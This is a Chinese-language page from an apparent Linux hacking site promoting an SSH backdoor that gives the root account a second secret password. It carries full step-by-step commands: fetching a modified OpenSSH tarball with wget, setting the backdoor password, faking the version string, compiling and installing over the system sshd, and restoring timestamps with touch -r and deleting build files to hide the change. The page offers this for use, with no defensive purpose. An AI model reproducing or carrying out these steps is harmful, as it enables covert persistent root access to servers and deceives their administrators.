Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

推荐Linux SSH后门,root账号两个密码SSH backdoor 最新linux roo

来源: 未知 分享至:

记得把ssh版本号换成原来的.还有一些文件的日期记得还原。这后门还是可以的.可以让root账号有两个密码,不影响管理员正常登陆.

在includes.h 里面 修改密码,然后编译 安装.详细说明如下.下载地址在最下面.

How to install
----------------

shell-#wget http://www.linuxso.com/linuxexp/ssh.tar.gz
shell-# tar zxvf sshbd.tgz
shell-# cd openssh


Edit version.h likes the current version of ssh running on the box
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

Edit includes.h, specify your backdoor password
#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish


shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
shell-# /etc/init.d/sshd restart

FINISH, try logged in to the box "ssh -l root <IP_backdoored_machine>"
enter your backdoor password.

Boom, now you're root

wget http://www.linuxso.com/linuxexp/ssh.tar.gz
tar zxvf sshbd.tgz
cd openssh
vi version.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
vi includes.h
#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
cp /usr/bin/ssh /usr/bin/ssh-keypub
touch -r /usr/bin/ssh /usr/bin/ssh-keypub
./configure --prefix=/usr --sysconfdir=/etc/ssh
make && make install
cp ssh_config sshd_config /etc/ssh/
cd ..
rm -rf ./ssh*
rm -rf openssh
diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
vi sshd_config
diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
vi ssh_config
touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config
touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config
touch -r /usr/bin/ssh-keypub /usr/bin/ssh*
/etc/init.d/sshd restart

ssh.tar.gz   


Tags: SSH backdoor linux 后门
分享至:
最新图文资讯
1 2 3 4 5 6
相关文章列表:
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史